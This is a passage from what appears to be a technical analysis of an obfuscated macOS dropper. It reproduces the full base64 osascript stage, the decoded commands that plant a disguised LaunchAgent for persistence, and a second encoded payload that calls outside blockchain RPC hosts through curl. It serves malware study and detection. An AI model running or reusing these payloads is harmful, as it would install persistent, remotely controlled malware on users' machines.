0cmluZyBpZCB7ODksIDExNSwgNzMsIDY4LCA4MSwgMTE5LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNjksIDExNSwgNzMsIDY4LCAxMDcsIDUzLCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgODEsIDExNSwgNzMsIDY4LCA2OSwgMTIwfSkgJiAoc3RyaW5nIGlkIHs3NywgODMsIDExOSwgMTAzLCA3NywgMTIyLCA3MywgMTE1LCA3MywgNjgsIDc3LCA0OCwgNzYsIDY3LCA2NSwgMTIyLCA3OCwgMTA1LCAxMTksIDEwMywgNzcsIDg0LCA2OSwgNDgsIDc2LCA2NywgNjUsIDEyMiwgNzgsIDY3LCAxMTksIDEwMywgNzcsIDEyMiwgNzMsIDExNSwgNzMsIDY4LCA2OSwgMTIxLCA3OCwgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA3MywgMTE1LCA3MywgNjgsIDY5fSkpKSAmICgoKHN0cmluZyBpZCB7MTIwLCA3OCwgODMsIDExOSwgMTAzLCA3NywgODQsIDY1LCAxMjAsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDY4LCA2NSwgMTE1LCA3MywgNjgsIDc3LCAxMjEsIDc2LCA2NywgNjUsIDQ4LCA3OCwgODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMTksIDc2LCA2NywgNjUsIDEyMiwgNzcsIDEwNSwgMTE5LCAxMDMsIDc3LCAxMjIsIDEwOCwgNTcsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDEyMiwgMTAwLCA3MiwgNzQsIDExMiwgOTgsIDEwOSwgOTksIDEwMywgOTcsIDg3LCA4MX0pICYgKHN0cmluZyBpZCB7MTAzLCAxMDEsIDEyMiwgNjksIDEyMCwgNzgsIDgzLCAxMTksIDEwMywgNzgsIDY4LCA5OSwgMTE1LCA3MywgNjgsIDgxLCA1MCwgNzYsIDY3LCA2NSwgNDgsIDc3LCAxMDUsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1fSkpICYgKCJJREV4TkN3Z01UQXhMQ0F4TVQiICYgIlVzSURFeE55d2dNVEE0TENBeE1UIikpKSkgJiAoKCgoKHN0cmluZyBpZCB7ODksIDExNSwgNzMsIDY4LCA3NywgNDgsIDc2LCA2NywgNjUsIDQ5LCA3OSwgNjcsIDExOSwgMTAzLCA3NywgMTIyLCA4MSwgMTE1LCA3MywgNjgsIDgxfSkgJiAoc3RyaW5nIGlkIHs1MiwgNzYsIDY3LCA2NSwgMTIwLCA3NywgMTA2LCA2NSwgMTE1LCA3MywgNjgsIDEwNywgMTIxLCA3NiwgNjcsIDY1LCA0OCwgNzcsIDY3LCAxMTksIDEwMywgNzksIDg0LCA2OSwgMTE1fSkpICYgKCJJRGswTENBek5Dd2dPVE1zSURReUxDQTVNaXdnTkRFc0lETTBMQ0EwTml3Z05ESXNJRFEiICYgIjNMQ0E1TWl3Z05Ea3NJRFEzTENBeE1USXNJRE01TENBME1Td2dOVGtzSURNeUxDQTVNU3dnTSIpKSAmICgoInpJc0lEUTFMQ0F4TWpJc0lETXlMQ0F6TkN3Z016WXNJREV3TkMiICYgKHN0cmluZyBpZCB7MTE5LCAxMDMsIDc3LCAxMjIsIDgxLCAxMTUsIDczLCA2OCwgNzcsIDEyMSwgNzYsIDY3LCA2NSwgNTMsIDc3LCAxMjEsIDExOSwgMTAzLCA3NywgMTIyLCAxMDQsIDU3LCA3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNzIsIDc4LCA0OCwgOTksIDEwOX0pKSAmICgoc3RyaW5nIGlkIHsxMDgsIDExNywgOTAsIDEyMSwgNjYsIDExMiwgOTAsIDY3LCA2NiwgNTUsIDc3LCAxMjIsIDEwMywgMTE1LCA3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTE5LCAxMDMsIDc3LCA4NCwgNzMsIDExOSwgNzYsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDg1LCAxMTV9KSAmICJJREV4Tml3Z016SXNJRFE1TENBMU9Td2dNeklzSURFd09Dd2dOakUiKSkpICYgKCgoInNJRE0yTENBME1Dd2dNVEV5TENBeE1UUXNJREV3TlN3Z01URXdMQ0F4TVRZc0lERXdNaXdnTXoiICYgIklzSURNMExDQXpOeXdnTVRBIikgJiAoKHN0cmluZyBpZCB7MTE5LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCA2NywgMTE5LCAxMDMsIDc3LCAxMjIsIDczLCAxMTUsIDczLCA2OCwgNzcsIDQ4LCA3NiwgNjcsIDY1LCA0OCwgNzksIDY3LCAxMTksIDEwMywgNzcsIDg0LCA3MywgMTE5LCA3NiwgNjcsIDY1LCAxMjIsIDc4LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDczLCAxMjIsIDc2LCA2NywgNjUsIDEyMH0pICYgIk1EUXNJRFU0TENBMU5Dd2dOVElzSURVNExDQSIpKSAmICgoKHN0cmluZyBpZCB7NDksIDc4LCA2NywgMTE5LCAxMDMsIDc4LCA4NCwgNzMsIDExNSwgNzMsIDY4LCA2OSwgMTIxLCA3OCwgODMsIDExOSwgMTAzLCA3N30pICYgKHN0cmluZyBpZCB7MTIyLCA4MSwgMTE1LCA3MywgNjgsIDgxLCAxMjAsIDc2LCA2NywgNjUsIDQ5LCA3OSwgODMsIDExOSwgMTAzLCA3NywgMTIyLCA3MywgMTE1LCA3MywgNjgsIDY5LCAxMTksIDc3LCA4MywgMTE5LCAxMDMsIDc5LCA4NCwgMTA3LCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzgsIDcyLCA0OCwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA3MiwgNzgsIDQ4fSkpICYgKChzdHJpbmcgaWQgezk5LCAxMDksIDEwOCwgMTE3LCA5MCwgMTIxLCA2NiwgMTEyLCA5MCwgNjcsIDY2LCA1NSwgNzcsIDg0LCA2OSwgMTIwLCA3NiwgNjcsIDY1LCAxMjJ9KSAmICJNaXdnTXpRc0lETTJMQ0F4TWpNc0lERXdOQ3dnTlRnc0lEUTVMQ0ExTUN3Z05UWXNJRFU0TENBek5pd2dOIikpKSkpICYgKCgoKCgiREFzSURRd0xDQXhNRGdzSURReUxDQTFNQ3dnTkRFc0lEUXhMIiAmIChzdHJpbmcgaWQgezY3LCA2NSwgMTIwLCA3NywgMTA2LCA4NSwgMTE1LCA3MywgNjgsIDc3LCA0OCwgNzYsIDY3LCA2NSwgMTIwLCA3NywgMTA2LCA4MSwgMTE1LCA3MywgNjgsIDY5fSkpICYgKChzdHJpbmcgaWQgezEyMSwgNzcsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA3MywgMTE5LCA3NiwgNjcsIDY1LCAxMjAsIDc3LCA2OCwgNjUsIDExNSwgNzMsIDY4LCA3NywgMTIxLCA3NiwgNjcsIDY1LCA0OCwgNzgsIDgzLCAxMTksIDEwMywgNzcsIDg0LCA2OSwgNDgsIDc2LCA2NywgNjUsIDEyMiwgNzcsIDEwNSwgMTE5LCAxMDMsIDc4fSkgJiAoc3RyaW5nIGlkIHs2OCwgODUsIDExNSwgNzMsIDY4LCA2OSwgMTIwLCA3NywgMTEwLCA0OCwgMTEyLCA3NSwgODMsIDEwNywgNzUsIDY3LCA4MSwgMTA4LCAxMTIsIDkwLCAxMDUsIDY2LCAxMDIsIDg4LCA0OSwgNjYsIDExNH0pKSkgJiAoKChzdHJpbmcgaWQgezk5LCAxMDcsIDEwNywgMTIwLCA4OSwgODcsIDgyLCAxMTAsIDgyLCA4NSwgODksIDUzLCA3MywgNzEsIDEwOCwgMTIyLCA3MywgNzEsIDUzLCAxMTgsIDEwMCwgNjcsIDY2LCAxMDgsIDk5LCA4OCwgODYsIDEwNCwgOTgsIDY3LCA2NSwgMTA1LCA3MywgMTA1LCA2NiwgNDgsIDk3LCA3MSwgODYsIDExNywgNzMsIDcxLCA4NiwgNTIsIDk3LCA4OCwgODEsIDEwMywgOTksIDEwOSwgODYsIDExOSwgOTAsIDg3LCA3MCwgNDh9KSAmIChzdHJpbmcgaWQgezY3LCAxMDMsIDEwOCwgMTA4LCA5OCwgMTA5LCA4MSwgMTAzLCAxMDAsIDcyLCA3NCwgNTMsIDY3LCAxMDksIDg2LCAxMTcsIDkwLCA2NywgNjYsIDEyMSwgOTAsIDg4LCA2NiwgMTA4LCA4OSwgODgsIDgxLCA3NSwgNjcsIDEwOSwgMTA4LCAxMDksIDczLCA3MCwgNTcsIDEwMiwgODUsIDcxLCAxMTYsIDEyMSwgODMsIDg0LCA3MCwgMTA0LCA5MCwgNzEsIDEwMCwgNzAsIDgyLCAxMDYsIDEwNywgMTAzLCA5NywgODgsIDc3LCAxMDN9KSkgJiAoKHN0cmluZyBpZCB7OTgsIDEwOSwgNTcsIDQ4LCA3MywgNzEsIDg2LCAxMjAsIDEwMCwgODcsIDcwLCAxMTUsIDczLCA2NywgNzMsIDEwNSwgNzMsIDcyLCA4MiwgMTExLCA5MCwgODcsIDUyLCA3NSwgNjcsIDg4LCA3OCwgMTA4LCAxMDAsIDY3LCA2NiwgMTAyLCA4OCwgNTAsIDcwLCA2OSwgOTcsIDUwLCAxMDgsIDY5LCAxMDEsIDcyLCA4MSwgMTAzLCAxMDAsIDcxLCA1NiwgMTAzLCA3NSwgNjcsIDc0LCAxMDYsIDEwMCwgODgsIDc0LCAxMTUsIDczLCA2NywgNDh9KSAmIChzdHJpbmcgaWQgezExNiwgODksIDUwLCA1NywgMTE3LCA5OCwgMTA5LCA4NiwgMTA2LCAxMDAsIDY3LCA0OSwgNDgsIDk3LCA4NywgNDksIDEwOCwgOTgsIDUxLCA4Nn0pKSkpICYgKCgoKHN0cmluZyBpZCB7NDgsIDczLCA2OCwgODUsIDEwMywgNzYsIDgzLCA0OSwgMTE2LCA4OSwgODgsIDEwMywgMTE2LCAxMDAsIDcxLCAxMDgsIDExNiwgOTB9KSAmICJTQXlNQ0F0TFhKbGRISjVJRE1nTFMxeSIpICYgKChzdHJpbmcgaWQgezkwLCA4OCwgODEsIDEwNSwgNzMsIDY3LCA4OSwgMTAzLCA3MywgMTEwLCA3NCwgNTMsIDc2LCA4NywgODIsIDEwOCwgOTgsIDcxLCA3MCwgNTMsIDczLCA2OCwgODV9KSAmICJnSWlrZ0ppQW9jM1J5YVc1bklHbGtJSHMwTlN3Z09EZ3NJRE15TENBNE1Dd2dOemtzSURnekxDQTQiKSkgJiAoKChzdHJpbmcgaWQgezc4LCA2NywgMTE5LCAxMDMsIDc3LCAxMjIsIDczLCAxMTUsIDczLCA2OCwgNjksIDExOSwgNzgsIDY3LCAxMTksIDEwMywgNzcsIDg0LCA2OSwgNTAsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4OSwgMTE1LCA3MywgNjgsIDY5LCAxMjAsIDc3fSkgJiAoc3RyaW5nIGlkIHsxMDUsIDExOSwgMTAzLCA3NywgODQsIDY5LCA0OSwgNzYsIDY3LCA2NSwgNDksIDc5LCA2NywgMTE5LCAxMDMsIDc4LCA2OCwgOTksIDExNSwgNzMsIDY4LCA4MSwgNTEsIDEwMiwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NiwgMTIwLCAxMDAsIDg3LCA1NywgNDgsIDkwLCA4NywgODEsIDEwMywgOTAsIDEwOSwgNTcsIDEyMSwgOTgsIDgzLCA2NiwgMTE4LCA5MCwgMTA1LCA2NiwgMTAyLCA4OCwgNDksIDY2LCAxMTQsIDk5fSkpICYgKCJra3hZV1JuUlVZNUlDWWdJaUFpSUNZIiAmIChzdHJpbmcgaWQgezEwMywgNzMsIDEwNSwgNDksIDEwNywgNzMsIDY3LCA3MywgMTAzLCA3NCwgMTA1LCA2NiwgMTIwLCAxMDAsIDg3LCA1NywgNDgsIDkwLCA4NywgODEsIDEwMywgOTAsIDEwOSwgNTcsIDEyMSwgOTgsIDgzLCA2NiwgMTE4LCA5MCwgMTA1LCA2NSwgMTExLCA3NSwgNjcsIDEwMywgMTA1LCAxMDAsIDcyfSkpKSkpICYgKCgoKChzdHJpbmcgaWQgezEwNCwgMTEyLCA3MywgMTA1LCA2NSwgMTA5LCA3MywgNjcsIDc0LCAxMDcsIDczLCAxMDUsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDg5LCAxMjAsIDc1LCA4M30pICYgImtnSmlCZlVUUklRVk5PYWtSbGN5QW1JQ2dvS0NoQlUwTkpTU0JqYUdGeVkiKSAmICgiV04wWlhJZ016Z3BJQ1lnS0VGVFEiICYgIjBsSklHTm9ZWEpoWTNSbGNpQTVPQ2twSUNZZ0tDaEJVME5KU1NCIikpICYgKCgoc3RyaW5nIGlkIHsxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2NSwgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCA3NCwgMTE4LCA3M30pICYgKHN0cmluZyBpZCB7MTA1LCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTA1LCA5MCwgNjcsIDczLCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDd9KSkgJiAoIklERXhOeWtwSUNZZ0tDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQTRLU0FtSUNoQlUwTkpTIiAmIChzdHJpbmcgaWQgezgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgOTksIDUxLCA4MiwgMTIxLCA5NywgODcsIDUzLCAxMTAsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA3MiwgMTE1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3NywgODR9KSkpKSAmICgoKCJJMExDQXpNaXdnTVRFeExDQXhNVFVzSURrM0xDQXhNVFVzSURrNUxDQXhNVFFzSURFd04iICYgKHN0cmluZyBpZCB7ODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMjEsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA5MCwgNTcsIDc1LCA4MSwgMTExLCA3NCwgOTAsIDcxLCA1NiwgMTAzLCA5OSwgNTAsIDEwNCwgMTA4LCA5OCwgNzEsIDExOSwgMTAzLCA5OSwgNTAsIDc4LCAxMjEsIDk3LCA4OCwgNjYsIDQ4LCA3MywgNzAsIDU3LCAxMDJ9KSkgJiAoKHN0cmluZyBpZCB7ODksIDg1LCA4MiwgMTE0LCA5NywgODUsIDgyLCA1MiwgMTAwLCA2NSwgMTEyLCAxMDgsIDk4LCAxMDksIDgxLCAxMDMsIDk3LCA4NywgODl9KSAmICI9JyB8IGJhc2U2NCAtZCB8IG9zYXNjcmlwdDwvc3RyaW5nIikpICYgKChzdHJpbmcgaWQgezYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCA0NywgOTcsIDExNCwgMTE0LCA5NywgMTIxLCA2MiwgMTAsIDMyLCAzMiwgNjAsIDQ3LCAxMDAsIDEwNSwgOTksIDExNiwgNjIsIDEwLCA2MCwgNDcsIDExMiwgMTA4LCAxMDUsIDExNSwgMTE2LCA2MiwgMTAsIDY5LCA3OCwgNjgsIDk1LCA4MCwgNzYsIDczLCA4MywgODR9KSAmIChzdHJpbmcgaWQgezEwfSkpKSkpKSkKZG8gc2hlbGwgc2NyaXB0ICgoc3RyaW5nIGlkIHsxMDgsIDk3LCAxMTcsIDExMCwgOTksIDEwNCwgOTksIDExNiwgMTA4LCAzMiwgMTE3LCAxMTAsIDEwOCwgMTExLCA5NywgMTAwLCAzMiwgMTI2LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3fSkgJiAoc3RyaW5nIGlkIHsxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyLCAxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMCwgMTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDMyLCA1MCwgNjIsIDQ3LCAxMDAsIDEwMSwgMTE4LCA0NywgMTEwLCAxMTcsIDEwOCwgMTA4fSkpCmRvIHNoZWxsIHNjcmlwdCAoKHN0cmluZyBpZCB7MTA4LCA5NywgMTE3LCAxMTAsIDk5LCAxMDQsIDk5LCAxMTYsIDEwOCwgMzIsIDEwOCwgMTExLCA5NywgMTAwLCAzMiwgMTI2LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3LCAxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyLCAxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMH0pICYgKHN0cmluZyBpZCB7MTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTZ9KSk=" | base64 -d)"

Property	Value
Total size	37,581 bytes, on a single line
Prefix / suffix	osascript -e "$(echo " / " \| base64 -d)"
Base64 blob	37,544 characters, decoded into 28,157 bytes
Start of the clear text	set __nVpfdDKVjg to 67471

The blob is decoded by a $(…) command substitution, then passed to osascript as the argument of -e. The full layer 1 AppleScript is therefore passed in clear text in the command-line arguments of the osascript process.

---

5. Layer 1: AppleScript dropper (decoded from update.sh)

5.1 Structure

Lines	Length	Role
1 to 8	24 to 41 chars	Decoys: 4 set and 4 property with no effect (__nVpfdDKVjg, _lzGSAgHF, _dyA0109CSdn, __r9LvPmfWe, __XJMqyiZD, _ZDW8krTkvR, _TZKfYTsyfn, _ziNUOuN)
9	27,082 chars	do shell script: creation of the folder and writing of the plist
10	438 chars	do shell script: launchctl unload
11	373 chars	do shell script: launchctl load

None of the decoy variables is reused afterwards.

5.2 Obfuscation

Measure	Value
string id {…} blocks	136 (132 on line 9, 4 on lines 10 and 11)
Encoded code points	5,202
String literals	62 (58 on line 9, 4 in the decoys)
& concatenation operators	191
Maximum parenthesis depth	9

Line 9 builds the shell command as a binary tree of concatenations. The leaves are sometimes string id {…}, sometimes literals. The layer 2 base64 blob is itself split and spread across both types of leaves. The file therefore contains in clear text neither the full blob, nor the paths, nor the label. Only the literal suffix =' | base64 -d | osascript</string is readable.

Decoding. All the leaves are constants and the tree only contains the & operator. Walking the leaves in order and concatenating them therefore gives exactly the evaluated string.

5.3 Commands run

Each do shell script passes its command to /bin/sh -c:

# Line 9
mkdir -p "$HOME/Library/LaunchAgents";
cat > "$HOME/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist" <<END_PLIST
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.Apple.fzylihcshhojvmnr</string>
    <key>KeepAlive</key>
    <true/>
    <key>RunAtLoad</key>
    <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>echo 'c2V0IF9fRTBwT0NOVkcgdG8gMjgwNS4yMzg4CnNldCBfX3c3RGp2RjNLIHRvICg2MSArIDUzNCkgKiA0CnByb3BlcnR5IF9fdVVqaWdvM3MgOiAiRmhlZHoyVVIwQiIKc2V0IF9xNmw1Qk5vYiB0byA2NzgxOApwcm9wZXJ0eSBfZkxYOEFyOGViNSA6ICJXQnRxVmUzOERaMlVWWEwiCnNldCBfX1R5ZWd3Wm5vS21VIHRvICJqTXNBemdEWUQwSyIKc2V0IF9fZU81cm9PN1ptWmcgdG8geygoKCgoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAibyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAoY2hhcmFjdGVyIGlkIDExMSkpICYgKChjaGFyYWN0ZXIgaWQgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmICgicGMiICYgKGNoYXJhY3RlciBpZCA0NikpKSAmICgoKGNoYXJhY3RlciBpZCAxMTEpICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAzKSkpKSwgKCgoKCgicCIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChjaGFyYWN0ZXIgaWQgMTIxKSkpICYgKCgiZyIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkpICYgKCJuIiAmICIucCIpKSkgJiAoKCgoQVNDSUkgY2hhcmFjdGVyIDExNykgJiAiYiIpICYgKCJsIiAmICJpYyIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgiZCIgJiAoY2hhcmFjdGVyIGlkIDEwMSkpKSkpICYgKCIuY28iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDkpKSksICgoKCgoKGNoYXJhY3RlciBpZCAxMTIpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibCIgJiAoY2hhcmFjdGVyIGlkIDEyMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDMpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpKSAmICgibiIgJiAoY2hhcmFjdGVyIGlkIDQ1KSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMTA5KSAmICJhIikgJiAoImkiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCA0NikpKSkpICYgKCgoKChjaGFyYWN0ZXIgaWQgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMTkpICYgImEiKSAmICgoY2hhcmFjdGVyIGlkIDEyMSkgJiAoY2hhcmFjdGVyIGlkIDQ2KSkpKSAmICgoKCJ0IiAmICJhdCIpICYgKCJ1bS4iICYgKEFTQ0lJIGNoYXJhY3RlciAxMDUpKSkgJiAoY2hhcmFjdGVyIGlkIDExMSkpKSksICgoKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgImUiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDExMCkgJiAiZCIpKSAmICgoKEFTQ0lJIGNoYXJhY3RlciAxMDEpICYgInIiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDEwOCkgJiAieS4iKSkpICYgKCgoKGNoYXJhY3RlciBpZCAxMTQpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTIpKSAmICgoY2hhcmFjdGVyIGlkIDk5KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDYpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTEyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDgpICYgKGNoYXJhY3RlciBpZCAxMjEpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAibyIpICYgKCJuIiAmIChjaGFyYWN0ZXIgaWQgNDYpKSkgJiAoKChjaGFyYWN0ZXIgaWQgOTkpICYgKGNoYXJhY3RlciBpZCAxMTEpKSAmICgoY2hhcmFjdGVyIGlkIDEwOSkgJiAoY2hhcmFjdGVyIGlkIDEwOSkpKSkgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMTE3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAxMDUpICYgInR5IikpKSl9CnNldCBfX1dLN1JZQTdyIHRvICgoKChzdHJpbmcgaWQgezEyMywgMzQsIDEwNiwgMTE1LCAxMTEsIDExMCwgMTE0LCAxMTIsIDk5LCAzNCwgNTgsIDM0LCA1MCwgNDYsIDQ4LCAzNCwgNDQsIDM0LCAxMDksIDEwMSwgMTE2LCAxMDQsIDExMSwgMTAwLCAzNCwgNTgsIDM0LCAxMDEsIDExNiwgMTA0LCA5NSwgOTksIDk3LCAxMDgsIDEwOCwgMzQsIDQ0LCAzNCwgMTEyLCA5NywgMTE0LCA5NywgMTA5LCAxMTUsIDM0LCA1OCwgOTF9KSAmIChzdHJpbmcgaWQgezEyMywgMzQsIDExNiwgMTExLCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA2NSwgNTEsIDk3LCA1NCwgNDgsIDUxLCA3MCwgNTYsIDk3LCA1MiwgNTMsIDUyLCA5NywgNTcsIDk5LCA1N30pKSAmICgoc3RyaW5nIGlkIHs0OCwgNTMsIDk4LCA1MiwgOTksIDUzLCA1NSwgNTcsIDY2LCA5OCwgNTUsIDUwLCA1NCwgNTAsIDU2LCA3MCwgNTUsIDY3fSkgJiAoc3RyaW5nIGlkIHs0OSwgNTMsIDY3LCA1MCwgNjUsIDQ4LCAzNCwgNDQsIDM0LCAxMDAsIDk3LCAxMTYsIDk3LCAzNCwgNTgsIDM0LCA0OCwgMTIwLCA1MCwgNTQsIDU2LCA1NCwgMTAxLCA5OSwgMTAxLCA5NywgMzQsIDEyNSwgNDQsIDM0LCAxMDgsIDk3LCAxMTYsIDEwMSwgMTE1LCAxMTYsIDM0LCA5MywgNDQsIDM0fSkpKSAmIChzdHJpbmcgaWQgezEwNSwgMTAwLCAzNCwgNTgsIDQ5LCAxMjV9KSkKCnNldCBfUTRIQVNOakRlcyB0byAoc3RyaW5nIGlkIHsxMDEsIDk5LCA5OCwgOTksIDk3LCA1NiwgNTEsIDk5LCA0OSwgNTIsIDU0LCA1MSwgNTIsIDU3LCAxMDIsIDU0LCA1NSwgNDksIDUzLCA1NCwgOTgsIDUxLCA1MSwgMTAxLCA5OSwgOTksIDUxLCAxMDEsIDQ5LCA5NywgMTAxLCAxMDJ9KQoKcmVwZWF0IHdpdGggX19yOEZpdHhrR3QgaW4gX19lTzVyb083Wm1aZwoJdHJ5CgkJc2V0IF9fUGtySTFhZGdFRjkgdG8gZG8gc2hlbGwgc2NyaXB0ICgoKCgoInIiICYgIj0iKSAmICgoY2hhcmFjdGVyIGlkIDM2KSAmIChjaGFyYWN0ZXIgaWQgNDApKSkgJiAoKCJjdSIgJiAicmwiKSAmICgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChjaGFyYWN0ZXIgaWQgNDUpKSkpICYgKCgoKEFTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikpICYgKChjaGFyYWN0ZXIgaWQgNDUpICYgIi1tIikpICYgKCgiYXgtIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSkgJiAoKGNoYXJhY3RlciBpZCAxMDUpICYgKGNoYXJhY3RlciBpZCAxMDkpKSkpKSAmICgoKCgoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoY2hhcmFjdGVyIGlkIDMyKSkgJiAoKEFTQ0lJIGNoYXJhY3RlciA0OSkgJiAoY2hhcmFjdGVyIGlkIDUzKSkpICYgKCgoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA0KSkgJiAoKGNoYXJhY3RlciBpZCAxMTYpICYgKGNoYXJhY3RlciBpZCAxMTYpKSkpICYgKCgoY2hhcmFjdGVyIGlkIDExMikgJiAicyIpICYgKChBU0NJSSBjaGFyYWN0ZXIgNTgpICYgIi8vIikpKSkgJiBfX3I4Rml0eGtHdCAmIChzdHJpbmcgaWQgezMyLCA0NSwgODgsIDMyLCA4MCwgNzksIDgzLCA4NCwgMzIsIDQ1LCA3MiwgMzIsIDM5LCA2NywgMTExLCAxMTAsIDExNiwgMTAxLCAxMTAsIDExNiwgNDUsIDg0LCAxMjEsIDExMiwgMTAxLCA1OCwgMzIsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDUsIDk5LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA0NywgMTA2LCAxMTUsIDExMSwgMTEwLCAzOSwgMzIsIDQ1LCA0NSwgMTAwLCA5NywgMTE2LCA5NywgMzIsIDM5f